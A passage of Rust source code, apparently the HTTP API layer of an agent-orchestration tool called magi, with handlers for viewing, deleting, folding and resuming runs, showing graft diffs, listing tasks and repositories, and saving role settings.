4488            live,
4489            unmerged_by_design: state.unmerged_by_design(),
4490            waiting,
4491            display_status,
4492            badge_status,
4493            done: state.status.done(),
4494            superseded_by,
4495            latest_attempt,
4496            task,
4497            state,
4498        }
4499    }
4500}
4501
4502/// Core content needs neither the queue nor question/liveness evidence.
4503async fn run_core(
4504    State(ui): State<Arc<Ui>>,
4505    Path(id): Path<String>,
4506) -> ApiResult<Json<RunDetailView>> {
4507    blocking(move || {
4508        let id = resolve_run(&ui.runs, &id)?;
4509        let state = read_run(&ui.runs, &id)?;
4510        Ok(Json(RunDetailView::of(
4511            state,
4512            false,
4513            crate::run::Liveness::Unknown,
4514            None,
4515            None,
4516            None,
4517        )))
4518    })
4519    .await
4520}
4521
4522/// Lightweight observation: never replaces the evidence used by controls.
4523async fn run_progress(
4524    State(ui): State<Arc<Ui>>,
4525    Path(id): Path<String>,
4526) -> ApiResult<Json<serde_json::Value>> {
4527    blocking(move || {
4528        let id = resolve_run(&ui.runs, &id)?;
4529        let state = read_run(&ui.runs, &id)?;
4530        let live = state.liveness(crate::daemon::is_working_on(
4531            &ui.home,
4532            &id,
4533            Timestamp::now(),
4534        ));
4535        let waiting = !ui.questions.open_for(&id).is_empty();
4536        Ok(Json(serde_json::json!({
4537            "id": id, "updated_at": state.updated_at, "live": live,
4538            "observed_at": Timestamp::now(),
4539            "progress": crate::run_progress::build(&state, live, waiting),
4540        })))
4541    })
4542    .await
4543}
4544
4545async fn run_detail(
4546    State(ui): State<Arc<Ui>>,
4547    Path(id): Path<String>,
4548) -> ApiResult<Json<RunDetailView>> {
4549    blocking(move || {
4550        let id = resolve_run(&ui.runs, &id)?;
4551        let state = read_run(&ui.runs, &id)?;
4552        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4553        let live = state.liveness(daemon_claims);
4554        crate::queue::record_ids(ui.questions.root(), "json")?;
4555        let waiting = ui
4556            .questions
4557            .list()
4558            .iter()
4559            .any(|q| q.run == id && q.status.open());
4560        let max_attempts = daemon::Opts::default().max_attempts;
4561
4562        let matching_task = ui.find_task_for_run(&id)?;
4563
4564        let superseded_by = state
4565            .pr_taken_over_by
4566            .clone()
4567            .or_else(|| {
4568                matching_task
4569                    .as_ref()
4570                    .and_then(|t| t.successor_of(&id).cloned())
4571            })
4572            .as_deref()
4573            .map(crate::run::short_of)
4574            .map(str::to_owned);
4575
4576        // Best-effort: an unreadable head (mid-write, or deleted) just means
4577        // this run's own status stands on its own, same as no later attempt
4578        // existing at all.
4579        let latest_attempt = matching_task
4580            .as_ref()
4581            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4582            .and_then(|head_id| {
4583                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4584                    short: head.short().to_owned(),
4585                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4586                    status: head.status,
4587                    done: head.status.done(),
4588                    id: head.id,
4589                })
4590            });
4591
4592        let task = matching_task
4593            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4594
4595        Ok(Json(RunDetailView::of(
4596            state,
4597            waiting,
4598            live,
4599            superseded_by,
4600            latest_attempt,
4601            task,
4602        )))
4603    })
4604    .await
4605}
4606
4607/// `DELETE /api/runs/{id}`.
4608///
4609/// Remove a finished, folded run directory along with its artifacts.
4610/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4611/// deleted. This never touches git worktrees or branches - except for a run
4612/// whose state this build cannot read at all, where there is no candidate
4613/// list to check and the wholesale removal `magi fold` already uses for that
4614/// case is the only meaningful "delete".
4615async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4616    let (id, unreadable) = {
4617        let ui = Arc::clone(&ui);
4618        blocking(move || {
4619            let id = resolve_run(&ui.runs, &id)?;
4620            match read_run(&ui.runs, &id) {
4621                Ok(state) => {
4622                    let in_flight =
4623                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4624                    state
4625                        .ensure_can_delete(in_flight)
4626                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4627                    let dir = ui.runs.join(&id);
4628                    std::fs::remove_dir_all(&dir)
4629                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4630                    Ok((id, false))
4631                }
4632                Err(_) => {
4633                    // Unreadable: there is no candidate list to guard on, so
4634                    // a live daemon's claim is the only thing left to check -
4635                    // the same rule `run_fold` applies for the same reason.
4636                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4637                        return Err(ApiError::conflict(format!(
4638                            "run {id} is being worked on by a live daemon right now"
4639                        )));
4640                    }
4641                    Ok((id, true))
4642                }
4643            }
4644        })
4645        .await?
4646    };
4647    if unreadable {
4648        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4649            .await
4650            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4651    }
4652    let ui = Arc::clone(&ui);
4653    let done = id.clone();
4654    blocking(move || {
4655        // The agent that asked died with the run, so an open question would
4656        // keep asking the operator for a decision nobody can deliver.
4657        ui.questions.abandon_for_run(
4658            &done,
4659            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4660        )?;
4661        Ok(())
4662    })
4663    .await?;
4664    Ok(StatusCode::NO_CONTENT)
4665}
4666
4667/// `POST /api/runs/{id}/fold`.
4668///
4669/// Remove a run's candidate worktrees and branches, keeping its record.
4670///
4671/// This exists because the deck answered "delete this run" with *"Candidates
4672/// must be folded before deleting. Run `magi fold` first."* — a phone being
4673/// told to open a terminal, in the one product whose point is that it does
4674/// not need one. The runs an operator most wants gone are the stalled and
4675/// blocked ones, and those are exactly the runs still holding worktrees:
4676/// three of them here held 53 GB.
4677///
4678/// The winner's tree goes too. A fold is what someone asks for when they are
4679/// finished with a run, and leaving one tree behind would leave the delete
4680/// button disabled for the same reason as before.
4681///
4682/// Refused while a live daemon is working on the run, on the rule that guards
4683/// deletion: folding underneath a running agent would pull the tree it is
4684/// editing out from under it.
4685///
4686/// A run whose state this build cannot read at all falls back to
4687/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4688/// selectively, so the whole record's worktree goes wholesale, exactly what
4689/// `magi fold` does on the command line for the same run.
4690async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4691    let (id, state) = {
4692        let ui = Arc::clone(&ui);
4693        blocking(move || {
4694            let id = resolve_run(&ui.runs, &id)?;
4695            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4696                return Err(ApiError::conflict(format!(
4697                    "run {id} is being worked on by a live daemon right now"
4698                )));
4699            }
4700            let state = read_run(&ui.runs, &id).ok();
4701            Ok((id, state))
4702        })
4703        .await?
4704    };
4705    let removed = match state {
4706        Some(mut state) => {
4707            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4708                .await
4709                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4710            // Nothing left to remove is not the same thing as nothing left to
4711            // do — see `clean::clear_abandoned_active`'s own doc for the run
4712            // this exists for: worktrees already gone, but a killed process
4713            // left active seats nobody will ever answer for.
4714            if removed.is_empty() {
4715                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4716                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4717            }
4718            removed
4719        }
4720        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4721            .await
4722            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4723    };
4724    Ok(Json(FoldView {
4725        run: id,
4726        removed_count: removed.len(),
4727        removed,
4728    }))
4729}
4730
4731/// What a fold took away, so the deck can say so rather than only re-render.
4732#[derive(Debug, Serialize)]
4733struct FoldView {
4734    run: String,
4735    /// Worktree paths and branch names removed, in the order they went.
4736    removed: Vec<String>,
4737    removed_count: usize,
4738}
4739
4740/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4741/// merged outside of `land::land`'s own loop.
4742#[derive(Debug, Deserialize)]
4743struct FoldMergedBody {
4744    #[serde(default)]
4745    pr_url: String,
4746}
4747
4748/// `POST /api/runs/{id}/fold-merged`.
4749///
4750/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4751/// `Blocked` with `merge: null` because magi never got as far as opening a
4752/// pull request of its own (a title over GitHub's length limit, `gh pr
4753/// create` unreachable, a stale token), which the operator then finished by
4754/// hand on a pull request magi never recorded. The "Run actions" sheet used
4755/// to have no way to tell it about that pull request short of a terminal and
4756/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4757/// this exists and what it deliberately does not do (`bump::after_merge`).
4758///
4759/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4760/// correction rewrites the same `status`/`merge` fields a running graph would
4761/// be writing to on its own.
4762///
4763/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4764/// calls plus a fold, seconds of work, and the phone should get its answer
4765/// (which pull request it recorded, and what changed) in the same round
4766/// trip rather than learning it from the change stream.
4767async fn run_fold_merged(
4768    State(ui): State<Arc<Ui>>,
4769    Path(id): Path<String>,
4770    Json(body): Json<FoldMergedBody>,
4771) -> ApiResult<Json<FoldMergedView>> {
4772    let pr_url = body.pr_url.trim().to_owned();
4773    if pr_url.is_empty() {
4774        return Err(ApiError::bad_request("pr_url is required"));
4775    }
4776    let (id, mut state) = {
4777        let ui = Arc::clone(&ui);
4778        blocking(move || {
4779            let id = resolve_run(&ui.runs, &id)?;
4780            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4781                return Err(ApiError::conflict(format!(
4782                    "run {id} is being worked on by a live daemon right now"
4783                )));
4784            }
4785            let state = read_run(&ui.runs, &id)?;
4786            Ok((id, state))
4787        })
4788        .await?
4789    };
4790    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4791        .await
4792        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4793    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4794        .await
4795        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4796    Ok(Json(FoldMergedView {
4797        run: id,
4798        before: before.as_str().to_owned(),
4799        after: after.as_str().to_owned(),
4800        removed,
4801    }))
4802}
4803
4804/// What [`run_fold_merged`] did, so the deck can say so.
4805#[derive(Debug, Serialize)]
4806struct FoldMergedView {
4807    run: String,
4808    /// `status` before the correction — normally `"blocked"`.
4809    before: String,
4810    /// `status` after — normally `"merged"`.
4811    after: String,
4812    /// Worktree paths and branch names the trailing fold removed.
4813    removed: Vec<String>,
4814}
4815
4816/// `POST /api/runs/{id}/resume`.
4817///
4818/// Carry a stalled run on from where it stopped, in the background.
4819///
4820/// A stalled card says "the work is kept" and used to offer no way to act on
4821/// that: the candidates are built and paid for, and continuing means re-asking
4822/// only the seats whose absence collapsed the panel. The alternative an
4823/// operator actually had was releasing the task, which competes three fresh
4824/// implementations against work that already exists.
4825///
4826/// **202, not 200.** A resume runs agents for minutes; holding the connection
4827/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4828/// phone learns the outcome from the change stream.
4829///
4830/// Refused when the loop is running at all, not merely when it is on this run.
4831/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4832/// started a second graph on top of whatever the loop is already driving —
4833/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4834/// allows — would spend that quota twice over for no extra throughput.
4835async fn run_resume(
4836    State(ui): State<Arc<Ui>>,
4837    Path(id): Path<String>,
4838) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4839    let admission = ui.begin_admission()?;
4840    admitted(admission, async move {
4841        let (id, state) = {
4842            let ui = Arc::clone(&ui);
4843            blocking(move || {
4844                let id = resolve_run(&ui.runs, &id)?;
4845                let state = read_run(&ui.runs, &id)?;
4846                Ok((id, state))
4847            })
4848            .await?
4849        };
4850        crate::resume::validate_unqueued(&ui.home, &id)
4851            .map_err(|e| ApiError::conflict(e.to_string()))?;
4852        let _resume = ui.begin_resume(&id)?;
4853
4854        crate::resume::start(&ui.home, id.clone())
4855            .await
4856            .map_err(ApiError::from)?;
4857        // The same shape the list route returns, so the phone updates the card it
4858        // already has rather than learning a second schema for one button.
4859        let queued = RunSummary::of(
4860            &state,
4861            !ui.questions.open_for(&id).is_empty(),
4862            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4863        );
4864        Ok((StatusCode::ACCEPTED, Json(queued)))
4865    })
4866    .await
4867}
4868
4869async fn run_report(
4870    State(ui): State<Arc<Ui>>,
4871    Path(id): Path<String>,
4872) -> ApiResult<impl IntoResponse> {
4873    let text = blocking(move || {
4874        let id = resolve_run(&ui.runs, &id)?;
4875        // Colour is off for the whole process, set once in `serve`. Rendering
4876        // is CPU work over the full state, which is the other reason this is
4877        // not on the executor.
4878        let state = read_run(&ui.runs, &id)?;
4879        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4880        let live = state.liveness(daemon_claims);
4881        Ok(format!(
4882            "{}{}",
4883            report::run(&state),
4884            report::active_seats(&state, live)
4885        ))
4886    })
4887    .await?;
4888    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4889}
4890
4891/// The structured twin of [`run_report`]: the same state, as sections the UI
4892/// draws as cards. An unreadable run answers with the same error the text
4893/// route does; it is never turned into an empty report.
4894async fn run_report_json(
4895    State(ui): State<Arc<Ui>>,
4896    Path(id): Path<String>,
4897) -> ApiResult<Json<crate::report_view::RunReportView>> {
4898    let view = blocking(move || {
4899        let id = resolve_run(&ui.runs, &id)?;
4900        let state = read_run(&ui.runs, &id)?;
4901        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4902        // Only a record that lacks the structured details reads `artifacts/`.
4903        let recovered = state.graft.as_ref().map(|_| {
4904            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4905        });
4906        Ok(crate::report_view::build_with(
4907            &state,
4908            state.liveness(daemon_claims),
4909            recovered.as_ref(),
4910        ))
4911    })
4912    .await?;
4913    Ok(Json(view))
4914}
4915
4916/// Archive access uses validated run-owned records, never a request-supplied path.
4917async fn run_seat_evidence(
4918    State(ui): State<Arc<Ui>>,
4919    Path(id): Path<String>,
4920) -> ApiResult<impl IntoResponse> {
4921    let id = resolve_run(&ui.runs, &id)?;
4922    let heads = crate::retention::seat_heads(&ui.home, &id)
4923        .await
4924        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4925    Ok(Json(heads))
4926}
4927
4928async fn run_seat_diff(
4929    State(ui): State<Arc<Ui>>,
4930    Path((id, head)): Path<(String, String)>,
4931) -> ApiResult<impl IntoResponse> {
4932    let id = resolve_run(&ui.runs, &id)?;
4933    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4934        .await
4935        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4936    Ok((
4937        [
4938            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4939            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4940        ],
4941        patch,
4942    ))
4943}
4944
4945/// Most of a graft diff the route returns.
4946const GRAFT_DIFF_MAX: usize = 400 * 1024;
4947/// How long `git diff` may run.
4948const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4949
4950/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4951/// come from the run record, never from the request.
4952async fn run_graft_diff(
4953    State(ui): State<Arc<Ui>>,
4954    Path(id): Path<String>,
4955) -> ApiResult<impl IntoResponse> {
4956    let (repo, pre, post) = blocking(move || {
4957        let id = resolve_run(&ui.runs, &id)?;
4958        let state = read_run(&ui.runs, &id)?;
4959        let g = state
4960            .graft
4961            .as_ref()
4962            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4963        let post = g
4964            .post
4965            .clone()
4966            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4967        Ok((state.repo.clone(), g.pre.clone(), post))
4968    })
4969    .await?;
4970    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4971    if !hex(&pre) || !hex(&post) {
4972        return Err(ApiError::not_found("the recorded commits are not valid"));
4973    }
4974    let out = tokio::time::timeout(
4975        GRAFT_DIFF_TIMEOUT,
4976        crate::git::git_raw(
4977            &repo,
4978            &[
4979                "diff",
4980                "--no-color",
4981                "--no-ext-diff",
4982                "-M",
4983                &pre,
4984                &post,
4985                "--",
4986            ],
4987        ),
4988    )
4989    .await
4990    .map_err(|_| ApiError::not_found("git diff timed out"))?
4991    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4992    if out.code != Some(0) {
4993        return Err(ApiError::not_found(
4994            "the recorded commits are no longer in the repository",
4995        ));
4996    }
4997    let mut body = out.stdout;
4998    if body.len() > GRAFT_DIFF_MAX {
4999        let mut cut = GRAFT_DIFF_MAX;
5000        while !body.is_char_boundary(cut) {
5001            cut -= 1;
5002        }
5003        body.truncate(cut);
5004        body.push_str("\n... diff truncated ...");
5005    }
5006    Ok((
5007        [
5008            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5009            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5010        ],
5011        body,
5012    ))
5013}
5014
5015/// A task as the UI sees it.
5016///
5017/// The whole task, plus the two things the client would otherwise have to
5018/// reimplement: the human-readable source and the status string. Nothing is
5019/// removed - the phone shows `last_error` and the run history verbatim.
5020#[derive(Debug, Serialize)]
5021struct TaskView {
5022    #[serde(flatten)]
5023    task: Task,
5024    source_label: String,
5025    reassignment_notes: Vec<String>,
5026    source_link: Option<SourceLink>,
5027    status_str: &'static str,
5028    /// Fixed scheduling lane, ahead of ordinary priority order.
5029    upgrade_resume_at: Option<Timestamp>,
5030    /// The instruction, parsed as markdown, for the Queue card's "Full
5031    /// instruction" panel. `task.instruction` is unchanged and still carries
5032    /// the raw text.
5033    instruction_md: Vec<md::Node>,
5034    /// For a blocked task, what it waits on with each dependency's state, e.g.
5035    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5036    /// recurses; empty for every other status.
5037    waits_on: Vec<String>,
5038    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5039    /// behind - non-empty means nothing in the loop will ever run it.
5040    stuck_roots: Vec<String>,
5041    blockers: Vec<crate::blockers::BlockerView>,
5042    recovery: Option<String>,
5043}
5044
5045impl From<Task> for TaskView {
5046    fn from(task: Task) -> Self {
5047        Self {
5048            source_label: task.source.label(),
5049            reassignment_notes: Vec::new(),
5050            source_link: source_link(&task.source),
5051            status_str: task.status.as_str(),
5052            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5053            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5054            waits_on: Vec::new(),
5055            stuck_roots: Vec::new(),
5056            blockers: Vec::new(),
5057            recovery: task_recovery(&task),
5058            task,
5059        }
5060    }
5061}
5062
5063impl TaskView {
5064    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5065        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5066            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5067            if !pending.is_empty() {
5068                self.recovery = Some(format!(
5069                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5070                    self.recovery.as_deref().unwrap_or_default()
5071                ));
5072            }
5073            for decision in pending {
5074                self.blockers.retain(|view| view.id != decision.id);
5075                self.blockers.push(decision);
5076            }
5077        }
5078        self
5079    }
5080
5081    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5082        let waits_on = inv.waits_on(&task);
5083        let stuck_roots = inv
5084            .stuck_roots(&task)
5085            .iter()
5086            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5087            .collect();
5088        Self {
5089            blockers: inv.blocker_views(&task),
5090            waits_on,
5091            stuck_roots,
5092            ..Self::from(task)
5093        }
5094    }
5095}
5096
5097fn task_recovery(task: &Task) -> Option<String> {
5098    use crate::queue::{HoldSource, TaskStatus};
5099    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5100        return None;
5101    }
5102    let mut text = String::new();
5103    if task.status == TaskStatus::Blocked {
5104        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5105        let restored = match task.blocked_from {
5106            Some(TaskStatus::Running) => TaskStatus::Queued,
5107            Some(status) => status,
5108            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5109            None => TaskStatus::Queued,
5110        };
5111        text.push_str(&format!(
5112            "After all dependencies resolve, the scheduler restores {}. ",
5113            restored.as_str()
5114        ));
5115        if restored != TaskStatus::Held {
5116            return Some(text);
5117        }
5118    }
5119    text.push_str(match task.hold_source {
5120        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5121        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5122            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5123        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5124        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5125    });
5126    Some(text)
5127}
5128
5129/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5130/// its absence, leaves the cache to decide.
5131#[derive(Debug, Default, Deserialize)]
5132#[serde(default)]
5133struct ReposQuery {
5134    refresh: u8,
5135}
5136
5137/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5138/// listing `magi repos` prints at a terminal.
5139///
5140/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5141/// so an edit to `magi.toml` takes effect without a restart, the same
5142/// reasoning [`config_for`] documents for the talk routes.
5143async fn repos_list(
5144    State(ui): State<Arc<Ui>>,
5145    Query(q): Query<ReposQuery>,
5146) -> ApiResult<Json<Vec<repos::Repo>>> {
5147    let refresh = q.refresh != 0;
5148    blocking(move || {
5149        let (cfg, _) = Config::discover(&ui.repo, None)?;
5150        Ok(Json(ui.repos_cache.list(
5151            &cfg.repos.roots,
5152            Duration::from_secs(cfg.repos.scan_ttl),
5153            refresh,
5154        )))
5155    })
5156    .await
5157}
5158
5159/// Optional context, restricted to the server's known checkouts.
5160#[derive(Debug, Default, Deserialize)]
5161struct SettingsQuery {
5162    repo: Option<PathBuf>,
5163}
5164
5165/// Always discover against the server's original context, never the selection.
5166/// If that config is broken, retain the default context and machine-only roots
5167/// so the settings error contract and recovery picker remain available.
5168fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5169    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5170        let paths: Vec<PathBuf> = ui
5171            .machine_config
5172            .iter()
5173            .filter(|p| p.is_file())
5174            .cloned()
5175            .collect();
5176        if paths.is_empty() {
5177            Ok(Config::autodetected())
5178        } else {
5179            Config::load_layers(&paths)
5180        }
5181    });
5182    let mut known = cfg
5183        .map(|cfg| {
5184            ui.repos_cache.list(
5185                &cfg.repos.roots,
5186                Duration::from_secs(cfg.repos.scan_ttl),
5187                refresh,
5188            )
5189        })
5190        .unwrap_or_default();
5191    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5192    if !known.iter().any(|r| r.path == path) {
5193        known.push(repos::Repo {
5194            name: path
5195                .file_name()
5196                .unwrap_or_default()
5197                .to_string_lossy()
5198                .into_owned(),
5199            path,
5200        });
5201    }
5202    known
5203}
5204
5205fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5206    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5207    let canonical = requested.canonicalize().ok();
5208    let mut known = settings_repositories(ui, false);
5209    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5210    if !known.iter().any(matches) {
5211        known = settings_repositories(ui, true);
5212    }
5213    let repo = known
5214        .iter()
5215        .find(|r| matches(r))
5216        .map(|r| r.path.clone())
5217        .ok_or_else(|| ApiError {
5218            text_reason: None,
5219            status: StatusCode::UNPROCESSABLE_ENTITY,
5220            message: "Choose a known repository from the Settings selector.".to_owned(),
5221        })?;
5222    Ok((repo, known))
5223}
5224
5225/// `GET /api/settings` - the effective role assignments and roster, with the
5226/// layer each came from. A config that fails to load answers 200 with an
5227/// `error`, so the screen can say so instead of drawing empty lists.
5228async fn settings_get(
5229    State(ui): State<Arc<Ui>>,
5230    Query(q): Query<SettingsQuery>,
5231) -> ApiResult<Json<settings::SettingsView>> {
5232    blocking(move || {
5233        let (repo, known) = settings_context(&ui, q)?;
5234        Ok(Json(settings::view_with_repos(
5235            &repo,
5236            ui.machine_config.as_deref(),
5237            &known,
5238        )))
5239    })
5240    .await
5241}
5242
5243/// The body of `PUT /api/settings/roles`.
5244#[derive(Debug, Deserialize)]
5245#[serde(deny_unknown_fields)]
5246struct RolesBody {
5247    /// The `revision` the client last read.
5248    revision: String,
5249    /// Role key to its new ids; an empty list resets the key to its default.
5250    #[serde(default)]
5251    roles: std::collections::BTreeMap<String, Vec<String>>,
5252    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5253    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5254    /// words (422) instead of as a deserialization error.
5255    #[serde(default)]
5256    counts: std::collections::BTreeMap<String, serde_json::Value>,
5257}
5258
5259/// `PUT /api/settings/roles` - save role assignments to the machine config.
5260///
5261/// The write target is `ui.machine_config` and nothing in the body can change
5262/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5263/// 422 with the reason in words.
5264async fn settings_put_roles(
5265    State(ui): State<Arc<Ui>>,
5266    Query(q): Query<SettingsQuery>,
5267    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5268) -> ApiResult<Json<settings::SettingsView>> {
5269    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5270    blocking(move || {
5271        let (repo, known) = settings_context(&ui, q)?;
5272        settings::save_with_repos(
5273            &repo,
5274            ui.machine_config.as_deref(),
5275            &body.revision,
5276            &body.roles,
5277            &body.counts,
5278            &known,
5279        )
5280        .map(Json)
5281        .map_err(|e| match e {
5282            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5283            settings::SaveError::Refused(m) => ApiError {
5284                text_reason: None,
5285                status: StatusCode::UNPROCESSABLE_ENTITY,
5286                message: m,
5287            },
5288            settings::SaveError::Internal(m) => ApiError::internal(m),
5289        })
5290    })
5291    .await
5292}
5293
5294async fn queue_list(
5295    State(ui): State<Arc<Ui>>,
5296    Query(q): Query<ListQuery>,
5297) -> ApiResult<Json<Vec<TaskView>>> {
5298    blocking(move || {
5299        let tasks = ui.queue.list();
5300        let inv =
5301            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5302        Ok(Json(
5303            tasks
5304                .into_iter()
5305                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5306                .map(|t| TaskView::with_inventory(t, &inv))
5307                .collect(),
5308        ))
5309    })
5310    .await
5311}
5312
5313/// History pages read a bounded number of records; the first conversation
5314/// page also includes every open talk. Cursors advance through a frozen snapshot,
5315/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5316/// Concurrent inserts are reconciled by a trailing store refresh.
5317#[derive(Debug, Default, Deserialize)]
5318struct PageQuery {
5319    before: Option<String>,
5320}
5321
5322#[derive(Serialize)]
5323struct StorePage<T> {
5324    rows: Vec<T>,
5325    next: Option<String>,
5326}
5327
5328const STORE_PAGE_SIZE: usize = 16;
5329
5330/// Freeze membership and the initial open/history boundary for a cursor walk.
5331/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5332/// the next store revision. Never rescan the entire directory for every page.
5333#[derive(Debug)]
5334struct ListWalk {
5335    token: u64,
5336    talks: bool,
5337    opened: std::time::Instant,
5338    ids: Arc<Vec<String>>,
5339    initial_end: usize,
5340}
5341
5342fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5343    page_ids_with(ui, talks, q, open_talk_ids)
5344}
5345
5346fn page_ids_with(
5347    ui: &Ui,
5348    talks: bool,
5349    q: PageQuery,
5350    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5351) -> ApiResult<(Vec<String>, Option<String>)> {
5352    let mut walks = ui
5353        .monitor
5354        .list_walks
5355        .lock()
5356        .unwrap_or_else(PoisonError::into_inner);
5357    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5358    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5359        let (token, offset) = cursor
5360            .split_once(':')
5361            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5362        let token = token
5363            .parse::<u64>()
5364            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5365        let offset = offset
5366            .parse::<usize>()
5367            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5368        let walk = walks
5369            .iter()
5370            .find(|walk| walk.token == token && walk.talks == talks)
5371            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5372        (token, walk.ids.clone(), offset, walk.initial_end)
5373    } else {
5374        // Header I/O must not hold the snapshot registry shared with queue
5375        // pagination or with clients continuing an existing history walk.
5376        drop(walks);
5377        let root = if talks {
5378            ui.talks.root()
5379        } else {
